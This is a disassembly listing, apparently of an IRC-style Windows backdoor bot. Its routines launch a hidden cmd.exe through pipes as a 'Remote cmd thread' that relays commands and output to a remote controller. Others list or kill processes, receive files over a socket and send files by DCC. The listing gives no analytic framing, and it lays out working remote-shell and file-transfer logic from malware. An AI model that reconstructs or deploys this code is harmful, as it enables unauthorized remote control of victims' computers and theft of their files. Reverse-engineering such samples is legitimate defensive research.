loc_4017A4:				; CODE XREF: sub_401244+7Bj
					; sub_401244+54Fj
		pop	edi
		pop	esi
		leave
		retn	4
sub_401244	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017AA	proc near		; CODE XREF: sub_40A9CF+AA1p
					; sub_40A9CF+AD2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_4017C2
		push	[ebp+arg_4]
		call	sub_416B40	; strlen
		pop	ecx
		test	eax, eax
		jnz	short loc_4017C7


loc_4017C2:				; CODE XREF: sub_4017AA+9j
		jmp	locret_401854
; ---------------------------------------------------------------------------


loc_4017C7:				; CODE XREF: sub_4017AA+16j
		push	2ACh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4017DD
		jmp	short locret_401854
; ---------------------------------------------------------------------------


loc_4017DD:				; CODE XREF: sub_4017AA+2Fj
		mov	eax, [ebp+var_4]
		mov	cl, [ebp+arg_8]
		mov	[eax+4], cl
		push	[ebp+arg_4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+5], eax
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 9
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 109h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		movzx	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_401830
		mov	[ebp+var_8], offset aListing ; "Listing"
		jmp	short loc_401837
; ---------------------------------------------------------------------------


loc_401830:				; CODE XREF: sub_4017AA+7Bj
		mov	[ebp+var_8], offset aKilling ; "Killing"


loc_401837:				; CODE XREF: sub_4017AA+84j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	offset dword_418174
		push	0
		push	[ebp+var_4]
		push	offset sub_401244
		call	sub_4095A4
		add	esp, 18h

locret_401854:				; CODE XREF: sub_4017AA:loc_4017C2j
					; sub_4017AA+31j
		leave
		retn
sub_4017AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401856	proc near		; CODE XREF: sub_401981+A8p
					; sub_401981+E1p ...
		push	ebp
		mov	ebp, esp
		cmp	dword_41DF04, 0FFFFFFFFh
		jz	short loc_40186E
		push	dword_41DF04
		call	dword_4170A4	; CloseHandle


loc_40186E:				; CODE XREF: sub_401856+Aj
		cmp	dword_41DEF8, 0FFFFFFFFh
		jz	short loc_401883
		push	dword_41DEF8
		call	dword_4170A4	; CloseHandle


loc_401883:				; CODE XREF: sub_401856+1Fj
		cmp	dword_41DEFC, 0FFFFFFFFh
		jz	short loc_401898
		push	dword_41DEFC
		call	dword_4170A4	; CloseHandle


loc_401898:				; CODE XREF: sub_401856+34j
		cmp	dword_41DF00, 0FFFFFFFFh
		jz	short loc_4018AD
		push	dword_41DF00
		call	dword_4170A4	; CloseHandle


loc_4018AD:				; CODE XREF: sub_401856+49j
		pop	ebp
		retn
sub_401856	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018AF	proc near		; CODE XREF: sub_401981+28Ap
					; sub_401981+395p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+189h]
		test	eax, eax
		jnz	short loc_4018D4
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Dh]
		test	eax, eax
		jz	short loc_401922


loc_4018D4:				; CODE XREF: sub_4018AF+15j
					; sub_4018AF:loc_401920j
		push	32h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+189h]
		test	eax, eax
		jz	short loc_4018FE
		call	sub_416B64	; clock
		sub	eax, dword_41DF0C
		cmp	eax, 1F4h
		jb	short loc_4018FE
		jmp	short loc_401922
; ---------------------------------------------------------------------------


loc_4018FE:				; CODE XREF: sub_4018AF+39j
					; sub_4018AF+4Bj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Dh]
		test	eax, eax
		jz	short loc_401920
		call	sub_416B64	; clock
		sub	eax, dword_41DF0C
		cmp	eax, 0FAh
		jb	short loc_401920
		jmp	short loc_401922
; ---------------------------------------------------------------------------


loc_401920:				; CODE XREF: sub_4018AF+5Bj
					; sub_4018AF+6Dj
		jmp	short loc_4018D4
; ---------------------------------------------------------------------------


loc_401922:				; CODE XREF: sub_4018AF+23j
					; sub_4018AF+4Dj ...
		call	sub_416B64	; clock
		mov	dword_41DF0C, eax
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_401942
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jnz	short loc_401957


loc_401942:				; CODE XREF: sub_4018AF+86j
		push	offset dword_4181A4
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_40196E
; ---------------------------------------------------------------------------


loc_401957:				; CODE XREF: sub_4018AF+91j
		push	200h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407A56
		add	esp, 0Ch


loc_40196E:				; CODE XREF: sub_4018AF+A6j
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx
		leave
		retn
sub_4018AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401981	proc near		; DATA XREF: sub_401D6E+88o

var_730		= dword	ptr -730h
var_72C		= dword	ptr -72Ch
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_714		= dword	ptr -714h
var_510		= byte ptr -510h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_360		= dword	ptr -360h
var_334		= dword	ptr -334h
var_330		= word ptr -330h
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= byte ptr -31Ch
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= byte ptr -30Ch
var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 730h
		push	3A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_714]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		call	sub_416B64	; clock
		sub	eax, 1F4h
		mov	dword_41DF0C, eax
		push	0
		lea	eax, [ebp+var_30C]
		push	eax
		push	104h
		push	0
		push	offset aCmd_exe	; "cmd.exe"
		push	0
		call	dword_41706C	; SearchPathA
		test	eax, eax
		jnz	short loc_4019ED
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_4019ED:				; CODE XREF: sub_401981+57j
		mov	[ebp+var_318], 0Ch
		mov	[ebp+var_310], 1
		and	[ebp+var_314], 0
		push	0
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_368]
		push	eax
		lea	eax, [ebp+var_364]
		push	eax
		call	dword_417070	; CreatePipe
		test	eax, eax
		jnz	short loc_401A41
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401A41:				; CODE XREF: sub_401981+A6j
		push	0
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_36C]
		push	eax
		lea	eax, [ebp+var_728]
		push	eax
		call	dword_417070	; CreatePipe
		test	eax, eax
		jnz	short loc_401A7A
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401A7A:				; CODE XREF: sub_401981+DFj
		push	3
		push	0
		push	0
		push	offset dword_41DF00
		call	dword_417074	; GetCurrentProcess
		push	eax
		push	[ebp+var_36C]
		call	dword_417074	; GetCurrentProcess
		push	eax
		call	dword_4170F0	; DuplicateHandle
		test	eax, eax
		jnz	short loc_401ABB
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401ABB:				; CODE XREF: sub_401981+120j
		push	10h
		push	0
		lea	eax, [ebp+var_724]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	44h
		push	0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_360], 44h
		mov	[ebp+var_334], 101h
		and	[ebp+var_330], 0
		mov	eax, [ebp+var_728]
		mov	[ebp+var_328], eax
		mov	eax, [ebp+var_368]
		mov	[ebp+var_324], eax
		mov	eax, [ebp+var_368]
		mov	[ebp+var_320], eax
		lea	eax, [ebp+var_724]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	0
		push	0
		push	0
		push	1
		push	0
		push	0
		push	offset byte_41DF10
		lea	eax, [ebp+var_30C]
		push	eax
		call	dword_41707C	; CreateProcessA
		test	eax, eax
		jnz	short loc_401B69
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401B69:				; CODE XREF: sub_401981+1CEj
		push	[ebp+var_728]
		call	dword_4170A4	; CloseHandle
		mov	eax, [ebp+var_364]
		mov	dword_41DF04, eax
		mov	eax, [ebp+var_36C]
		mov	dword_41DEF8, eax
		mov	eax, [ebp+var_724]
		mov	dword_41DEFC, eax
		push	[ebp+var_720]
		call	dword_4170A4	; CloseHandle
		and	[ebp+var_4], 0
		and	[ebp+var_208], 0


loc_401BAD:				; CODE XREF: sub_401981+2E9j
					; sub_401981+39Cj
		mov	eax, [ebp+var_714]
		cmp	dword ptr [eax+4], 0
		jz	short loc_401BBE
		jmp	loc_401D22
; ---------------------------------------------------------------------------


loc_401BBE:				; CODE XREF: sub_401981+236j
		and	[ebp+var_208], 0
		push	200h
		push	0
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	200h
		lea	eax, [ebp+var_204]
		push	eax
		push	dword_41DF04
		call	dword_417080	; PeekNamedPipe
		test	eax, eax
		jnz	short loc_401C17
		push	offset aCouldNotReadDa ; "Could	not read data from process."
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4018AF
		pop	ecx
		pop	ecx
		jmp	loc_401D22
; ---------------------------------------------------------------------------


loc_401C17:				; CODE XREF: sub_401981+27Cj
		cmp	[ebp+var_4], 0
		jnz	short loc_401C6F
		mov	[ebp+var_730], 103h
		lea	eax, [ebp+var_730]
		push	eax
		push	dword_41DEFC
		call	dword_417084	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_401C62
		cmp	[ebp+var_730], 103h
		jz	short loc_401C62
		push	offset aCmd_exeProcess ; "Cmd.exe process has terminated."
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx
		jmp	loc_401D22
; ---------------------------------------------------------------------------


loc_401C62:				; CODE XREF: sub_401981+2BBj
					; sub_401981+2C7j
		push	0Ah
		call	dword_41709C	; Sleep
		jmp	loc_401BAD
; ---------------------------------------------------------------------------


loc_401C6F:				; CODE XREF: sub_401981+29Aj
		and	[ebp+var_72C], 0
		jmp	short loc_401C85
; ---------------------------------------------------------------------------


loc_401C78:				; CODE XREF: sub_401981:loc_401CAFj
		mov	eax, [ebp+var_72C]
		inc	eax
		mov	[ebp+var_72C], eax


loc_401C85:				; CODE XREF: sub_401981+2F5j
		mov	eax, [ebp+var_72C]
		cmp	eax, [ebp+var_4]
		jnb	short loc_401CB1
		mov	eax, [ebp+var_72C]
		movsx	eax, [ebp+eax+var_204]
		cmp	eax, 0Ah
		jnz	short loc_401CAF
		mov	[ebp+var_208], 1
		jmp	short loc_401CB1
; ---------------------------------------------------------------------------


loc_401CAF:				; CODE XREF: sub_401981+320j
		jmp	short loc_401C78
; ---------------------------------------------------------------------------


loc_401CB1:				; CODE XREF: sub_401981+30Dj
					; sub_401981+32Cj
		cmp	[ebp+var_208], 0
		jz	short loc_401CC6
		mov	eax, [ebp+var_72C]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_401CCD
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401981+337j
		mov	[ebp+var_4], 200h


loc_401CCD:				; CODE XREF: sub_401981+343j
		push	200h
		push	0
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	0
		lea	eax, [ebp+var_31C]
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_204]
		push	eax
		push	dword_41DF04
		call	dword_417088	; ReadFile
		test	eax, eax
		jnz	short loc_401D08
		jmp	short loc_401D22
; ---------------------------------------------------------------------------


loc_401D08:				; CODE XREF: sub_401981+383j
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4018AF
		pop	ecx
		pop	ecx
		jmp	loc_401BAD
; ---------------------------------------------------------------------------


loc_401D22:				; CODE XREF: sub_401981+238j
					; sub_401981+291j ...
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_401D35:				; CODE XREF: sub_401981+67j
					; sub_401981+BBj ...
		leave
		retn	4
sub_401981	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D39	proc near		; CODE XREF: sub_401D6E+AFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		push	dword_41DF00
		call	dword_417068	; WriteFile
		test	eax, eax
		jnz	short loc_401D69
		xor	eax, eax
		jmp	short locret_401D6C
; ---------------------------------------------------------------------------


loc_401D69:				; CODE XREF: sub_401D39+2Aj
		push	1
		pop	eax

locret_401D6C:				; CODE XREF: sub_401D39+2Ej
		leave
		retn
sub_401D39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D6E	proc near		; CODE XREF: sub_40A9CF+14A0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+198h]
		test	eax, eax
		jz	short loc_401DA6
		cmp	[ebp+arg_4], 0
		jnz	short loc_401D8B
		jmp	locret_401E36
; ---------------------------------------------------------------------------


loc_401D8B:				; CODE XREF: sub_401D6E+16j
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		jmp	locret_401E36
; ---------------------------------------------------------------------------


loc_401DA6:				; CODE XREF: sub_401D6E+10j
		push	3A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_401DBC
		jmp	short locret_401E36
; ---------------------------------------------------------------------------


loc_401DBC:				; CODE XREF: sub_401D6E+4Aj
		cmp	[ebp+arg_4], 0
		jz	short loc_401DD9
		push	200h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch


loc_401DD9:				; CODE XREF: sub_401D6E+52j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 204h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aRemoteCmdThrea ; "Remote cmd thread"
		push	1
		push	[ebp+var_4]
		push	offset sub_401981
		call	sub_4095A4
		add	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_401E0B
		jmp	short locret_401E36
; ---------------------------------------------------------------------------


loc_401E0B:				; CODE XREF: sub_401D6E+99j
		push	offset asc_418214 ; "\r\n"
		push	[ebp+arg_4]
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		call	sub_401D39
		pop	ecx
		test	eax, eax
		jnz	short locret_401E36
		push	offset aErrorWhileExec ; "Error	while executing	command."
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx

locret_401E36:				; CODE XREF: sub_401D6E+18j
					; sub_401D6E+33j ...
		leave
		retn
sub_401D6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E38	proc near		; DATA XREF: sub_4024F3+10Bo

var_614		= qword	ptr -614h
var_60C		= qword	ptr -60Ch
var_604		= dword	ptr -604h
var_600		= dword	ptr -600h
var_5FC		= dword	ptr -5FCh
var_5F8		= dword	ptr -5F8h
var_5F4		= dword	ptr -5F4h
var_5F0		= dword	ptr -5F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= dword	ptr -5E8h
var_5E4		= dword	ptr -5E4h
var_5E0		= dword	ptr -5E0h
var_5DC		= byte ptr -5DCh
var_5BB		= byte ptr -5BBh
var_4B7		= byte ptr -4B7h
var_3B7		= byte ptr -3B7h
var_3AD		= byte ptr -3ADh
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 604h
		push	3D6h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5E0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_5BB]
		push	eax
		call	dword_4170AC	; DeleteFileA
		push	offset dword_4182AC
		lea	eax, [ebp+var_5BB]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_5E4], eax
		cmp	[ebp+var_5E4], 0
		jnz	short loc_401EA3
		push	[ebp+var_5E0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4020BE
; ---------------------------------------------------------------------------


loc_401EA3:				; CODE XREF: sub_401E38+56j
		push	2710h
		push	0
		lea	eax, [ebp+var_3B7]
		push	eax
		lea	eax, [ebp+var_4B7]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_208], eax
		cmp	[ebp+var_208], 0
		jnz	short loc_401EEE
		push	[ebp+var_5E4]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_5E0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4020BE
; ---------------------------------------------------------------------------


loc_401EEE:				; CODE XREF: sub_401E38+95j
		lea	eax, [ebp+var_5DC]
		push	eax
		lea	eax, [ebp+var_5BB]
		push	eax
		mov	eax, [ebp+var_5E0]
		push	dword ptr [eax]
		push	offset dword_418280
		lea	eax, [ebp+var_3AD]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		call	sub_416B64	; clock
		mov	[ebp+var_5E8], eax
		and	[ebp+var_204], 0


loc_401F2A:				; CODE XREF: sub_401E38:loc_401FD8j
		push	0
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+var_208]
		call	dword_417248	; recv
		mov	[ebp+var_5F0], eax
		cmp	[ebp+var_5F0], 0
		jz	short loc_401F5F
		cmp	[ebp+var_5F0], 200h
		jbe	short loc_401F61


loc_401F5F:				; CODE XREF: sub_401E38+119j
		jmp	short loc_401FDD
; ---------------------------------------------------------------------------


loc_401F61:				; CODE XREF: sub_401E38+125j
		mov	eax, [ebp+var_204]
		add	eax, [ebp+var_5F0]
		mov	[ebp+var_204], eax
		push	[ebp+var_204]
		call	dword_41724C	; htonl
		mov	[ebp+var_5F4], eax
		push	4
		lea	eax, [ebp+var_5F4]
		push	eax
		push	[ebp+var_208]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_5E4]
		push	[ebp+var_5F0]
		push	1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B7C	; fwrite
		add	esp, 10h
		cmp	[ebp+var_5F0], 200h
		jnb	short loc_401FC7
		jmp	short loc_401FDD
; ---------------------------------------------------------------------------


loc_401FC7:				; CODE XREF: sub_401E38+18Bj
		mov	eax, [ebp+var_5E0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_401FD8
		jmp	loc_4020BC
; ---------------------------------------------------------------------------


loc_401FD8:				; CODE XREF: sub_401E38+199j
		jmp	loc_401F2A
; ---------------------------------------------------------------------------


loc_401FDD:				; CODE XREF: sub_401E38:loc_401F5Fj
					; sub_401E38+18Dj
		push	[ebp+var_5E4]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_5EC], eax
		call	sub_416B64	; clock
		cmp	[ebp+var_5E8], eax
		jnz	short loc_402008
		call	sub_416B64	; clock
		dec	eax
		mov	[ebp+var_5E8], eax


loc_402008:				; CODE XREF: sub_401E38+1C2j
		mov	eax, [ebp+var_5EC]
		cdq
		mov	ecx, 400h
		idiv	ecx
		mov	[ebp+var_5F8], eax
		fild	[ebp+var_5F8]
		fstp	[ebp+var_5FC]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_5E8]
		mov	[ebp+var_600], eax
		fild	[ebp+var_600]
		fdiv	flt_417270
		fdivr	[ebp+var_5FC]
		push	ecx
		push	ecx
		fstp	[esp+60Ch+var_60C]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_5E8]
		mov	[ebp+var_604], eax
		fild	[ebp+var_604]
		fdiv	flt_417270
		push	ecx
		push	ecx
		fstp	[esp+614h+var_614]
		lea	eax, [ebp+var_5DC]
		push	eax
		lea	eax, [ebp+var_5BB]
		push	eax
		push	offset dword_418234
		lea	eax, [ebp+var_3AD]
		push	eax
		call	sub_40D53F
		add	esp, 20h


loc_402094:				; CODE XREF: sub_401E38:loc_4020BCj
		push	[ebp+var_5E4]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_208]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_5E0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_4020BE
; ---------------------------------------------------------------------------


loc_4020BC:				; CODE XREF: sub_401E38+19Bj
		jmp	short loc_402094
; ---------------------------------------------------------------------------

locret_4020BE:				; CODE XREF: sub_401E38+66j
					; sub_401E38+B1j ...
		leave
		retn	4
sub_401E38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4020C2	proc near		; DATA XREF: sub_40260D+7Co

var_A2C		= qword	ptr -0A2Ch
var_A24		= qword	ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= byte ptr -0A04h
var_9FC		= dword	ptr -9FCh
var_9F8		= dword	ptr -9F8h
var_9F4		= dword	ptr -9F4h
var_9F0		= byte ptr -9F0h
var_8EC		= dword	ptr -8ECh
var_8E8		= dword	ptr -8E8h
var_8E4		= dword	ptr -8E4h
var_8E0		= byte ptr -8E0h
var_8BF		= byte ptr -8BFh
var_8BE		= byte ptr -8BEh
var_7BB		= byte ptr -7BBh
var_618		= dword	ptr -618h
var_614		= byte ptr -614h
var_210		= byte ptr -210h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A1Ch
		push	2CCh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_8E4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_8BF]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_9F8], eax
		jmp	short loc_40210D
; ---------------------------------------------------------------------------


loc_402100:				; CODE XREF: sub_4020C2:loc_40215Ej
		mov	eax, [ebp+var_9F8]
		dec	eax
		mov	[ebp+var_9F8], eax


loc_40210D:				; CODE XREF: sub_4020C2+3Cj
		cmp	[ebp+var_9F8], 0
		jnz	short loc_40212D
		lea	eax, [ebp+var_8BF]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_402160
; ---------------------------------------------------------------------------


loc_40212D:				; CODE XREF: sub_4020C2+52j
		mov	eax, [ebp+var_9F8]
		movsx	eax, [ebp+eax+var_8BF]
		cmp	eax, 5Ch
		jnz	short loc_40215E
		mov	eax, [ebp+var_9F8]
		lea	eax, [ebp+eax+var_8BE]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_402160
; ---------------------------------------------------------------------------


loc_40215E:				; CODE XREF: sub_4020C2+7Cj
		jmp	short loc_402100
; ---------------------------------------------------------------------------


loc_402160:				; CODE XREF: sub_4020C2+69j
					; sub_4020C2+9Aj
		mov	[ebp+var_8E8], 10h
		lea	eax, [ebp+var_8E8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_40CF25
		push	eax
		call	dword_417240	; getsockname
		push	2
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_614]
		push	eax
		push	[ebp+var_8E8]
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_41DF68	; getnameinfo
		test	eax, eax
		jz	short loc_4021BA
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_4021BA:				; CODE XREF: sub_4020C2+E3j
		push	0Ah
		lea	eax, [ebp+var_A04]
		push	eax
		push	1388h
		push	400h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	1
		lea	eax, [ebp+var_A04]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_9FC], eax
		cmp	[ebp+var_9FC], 0
		jnz	short loc_40220F
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_40220F:				; CODE XREF: sub_4020C2+138j
		push	offset aRb	; "rb"
		lea	eax, [ebp+var_8BF]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_8EC], eax
		cmp	[ebp+var_8EC], 0
		jnz	short loc_402250
		push	[ebp+var_9FC]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_402250:				; CODE XREF: sub_4020C2+16Dj
		push	2
		push	0
		push	[ebp+var_8EC]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_8EC]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_A08], eax
		push	0
		push	0
		push	[ebp+var_8EC]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		lea	eax, [ebp+var_614]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset aDccSendSS ; "DCC Send %s (%s)"
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_40D420
		add	esp, 10h
		push	[ebp+var_A08]
		lea	eax, [ebp+var_A04]
		push	eax
		lea	eax, [ebp+var_614]
		push	eax
		call	dword_417244	; inet_addr
		push	eax
		call	dword_41724C	; htonl
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset dword_418348
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_40D4AB
		add	esp, 18h
		push	0EA60h
		push	[ebp+var_9FC]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_618], eax
		cmp	[ebp+var_618], 0
		jz	short loc_40230F
		cmp	[ebp+var_618], 0FFFFFFFFh
		jnz	short loc_40233A


loc_40230F:				; CODE XREF: sub_4020C2+242j
		push	[ebp+var_8EC]
		call	sub_416B82	; fclose
		pop	ecx
		push	[ebp+var_9FC]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_40233A:				; CODE XREF: sub_4020C2+24Bj
		lea	eax, [ebp+var_8E0]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		mov	eax, [ebp+var_8E4]
		push	dword ptr [eax]
		push	offset dword_418320
		lea	eax, [ebp+var_7BB]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		call	sub_416B64	; clock
		mov	[ebp+var_9F4], eax


loc_40236F:				; CODE XREF: sub_4020C2:loc_40240Dj
		push	[ebp+var_8EC]
		push	200h
		push	1
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_A0C], eax
		cmp	[ebp+var_A0C], 0
		jz	short loc_4023A6
